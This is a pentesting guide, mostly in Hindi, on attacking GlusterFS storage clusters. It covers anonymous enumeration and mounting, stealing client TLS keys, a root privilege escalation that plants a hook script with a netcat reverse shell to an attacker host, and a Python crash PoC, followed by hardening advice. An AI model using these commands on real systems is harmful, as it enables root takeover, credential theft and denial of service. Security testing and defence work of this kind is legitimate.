# 24007-24008-24009-49152 - Pentesting GlusterFS {{#include ../banners/hacktricks-training.md}} ## Basic Information **GlusterFS** एक **वितरित फ़ाइल प्रणाली** है जो कई सर्वरों से संग्रहण को एक **एकीकृत नामस्थान** में जोड़ती है। प्रबंधन डेमॉन (`glusterd`) डिफ़ॉल्ट रूप से **24007/TCP** पर सुनता है और डेटा-प्लेन ईंटों को निर्देशित करता है जो **49152/TCP** पर शुरू होती हैं (प्रत्येक ईंट के लिए एक पोर्ट, बढ़ता हुआ)। 9.x से पहले के संस्करणों ने ईंट परिवहन के लिए **24008–24009/TCP** का उपयोग किया, इसलिए आप अभी भी उन पोर्टों का सामना करेंगे जो विरासती क्लस्टरों में हैं। ``` PORT STATE SERVICE VERSION 24007/tcp open glusterd GlusterFS (RPC) 49152/tcp open gluster-brick SSL (TLS optional) ``` > टिप: 24007 RPC कॉल का उत्तर देता है भले ही स्टोरेज-केवल नोड्स कोई वॉल्यूम **नहीं** निर्यात करते हैं; इसलिए सेवा बड़े बुनियादी ढांचे के भीतर एक विश्वसनीय पिवट लक्ष्य है। ## गणना अपने हमलावर बॉक्स पर क्लाइंट उपयोगिताएँ स्थापित करें: ```bash sudo apt install -y glusterfs-cli glusterfs-client # Debian/Ubuntu ``` 1. **पीयर खोज और स्वास्थ्य** ```bash # List peers (works without authentication in default setups) gluster --remote-host 10.10.11.131 peer status ``` 2. **वॉल्यूम पहचान** ```bash # Retrieve the list of all volumes and their configuration gluster --remote-host 10.10.11.131 volume info all ``` 3. **बिना विशेषाधिकार के माउंट करें** ```bash sudo mount -t glusterfs 10.10.11.131:/ /mnt/gluster ``` यदि माउंटिंग विफल हो जाता है, तो क्लाइंट साइड पर `/var/log/glusterfs/-.log` की जांच करें। सामान्य समस्याएँ हैं: * TLS प्रवर्तन (`option transport.socket.ssl on`) * पते आधारित पहुँच नियंत्रण (`option auth.allow `) ### प्रमाणपत्र समस्या निवारण किसी भी अधिकृत क्लाइंट नोड से निम्नलिखित फ़ाइलें चुराएँ और उन्हें `/etc/ssl/` (या त्रुटि लॉग में दिखाए गए निर्देशिका) में रखें: ``` /etc/ssl/glusterfs.pem /etc/ssl/glusterfs.key /etc/ssl/glusterfs.ca ``` --- ## ज्ञात कमजोरियाँ (2022-2025) | CVE | प्रभावित संस्करण | प्रभाव | नोट्स | |-----|-------------------|--------|-------| | **CVE-2022-48340** | 10.0–10.4, 11.0 | `dht_setxattr_mds_cbk` में उपयोग के बाद मुक्त, नेटवर्क के माध्यम से पहुँच योग्य | दूरस्थ **DoS** और संभावित RCE। 10.4.1 / 11.1 में ठीक किया गया। | | **CVE-2023-26253** | < 11.0 | FUSE सूचित हैंडलर में सीमा से बाहर पढ़ाई | तैयार FS संचालन के माध्यम से दूरस्थ क्रैश; सार्वजनिक PoC उपलब्ध है। | | **CVE-2023-3775** | < 10.5 / 11.1 | `gluster_shared_storage` को माउंट करते समय गलत अनुमति सत्यापन | किसी भी अप्रमाणित क्लाइंट को प्रशासनिक वॉल्यूम माउंट करने की अनुमति देता है - नीचे समझाए गए **priv-esc** की ओर ले जाता है। | > हमेशा `gluster --version` **प्रत्येक नोड पर** जांचें; आंशिक अपग्रेड के बाद विषम क्लस्टर सामान्य हैं। ### `gluster_shared_storage` का शोषण (अधिकार वृद्धि) हाल के संस्करणों में भी कई प्रशासक विशेष `gluster_shared_storage` वॉल्यूम को विश्व-पढ़ने योग्य छोड़ देते हैं क्योंकि यह भू-प्रतिकृति को सरल बनाता है। वॉल्यूम में क्रोनजॉब टेम्पलेट होते हैं जो प्रत्येक नोड पर **root** के साथ चलते हैं। ```bash # 1. Mount admin volume anonymously mkdir /tmp/gss && sudo mount -t glusterfs 10.10.11.131:/gluster_shared_storage /tmp/gss # 2. Drop malicious script that gets synchronised cluster-wide cat <<'EOF' > /tmp/gss/hooks/1/start/post/test.sh #!/bin/bash nc -e /bin/bash ATTACKER_IP 4444 & EOF chmod +x /tmp/gss/hooks/1/start/post/test.sh # 3. Wait until glusterd distributes the hook and executes it as root ``` यदि `hooks/1/` मौजूद नहीं है, तो `/ss_bricks/` के लिए देखें - सटीक पथ प्रमुख संस्करण के साथ भिन्न हो सकता है। ### Denial-of-Service PoC (CVE-2023-26253) ```python #!/usr/bin/env python3 # Minimal reproducer: sends malformed NOTIFY_REPLY XDR frame to 24007 import socket, xdrlib, struct p = xdrlib.Packer(); p.pack_uint(0xdeadbeef) with socket.create_connection(("10.10.11.131",24007)) as s: s.send(struct.pack("!L", len(p.get_buffer())|0x80000000)) s.send(p.get_buffer()) ``` `glusterfsd` < 11.0 चलाते समय क्रैश हो जाता है। --- ## हार्डनिंग और पहचान * **अपग्रेड** – वर्तमान LTS 11.1 है (जुलाई 2025)। सभी CVEs ऊपर ठीक किए गए हैं। * हर ईंट के लिए **TLS** सक्षम करें: ```bash gluster volume set transport.socket.ssl on gluster volume set transport.socket.ssl-cert /etc/ssl/glusterfs.pem ``` * CIDR सूचियों के साथ क्लाइंट को प्रतिबंधित करें: ```bash gluster volume set auth.allow 10.0.0.0/24 ``` * प्रबंधन पोर्ट 24007 को केवल **निजी VLAN** पर या SSH टनल के माध्यम से उजागर करें। * लॉग पर नज़र रखें: `tail -f /var/log/glusterfs/glusterd.log` और **ऑडिट-लॉग** फीचर कॉन्फ़िगर करें (`volume set features.audit-log on`)। --- ## संदर्भ * [GlusterFS सुरक्षा सलाहकार](https://docs.gluster.org/en/latest/release-notes/#security) * [CVE-2023-26253 PoC – github.com/tinynetwork/gluster-notify-crash](https://github.com/tinynetwork/gluster-notify-crash) {{#include ../banners/hacktricks-training.md}}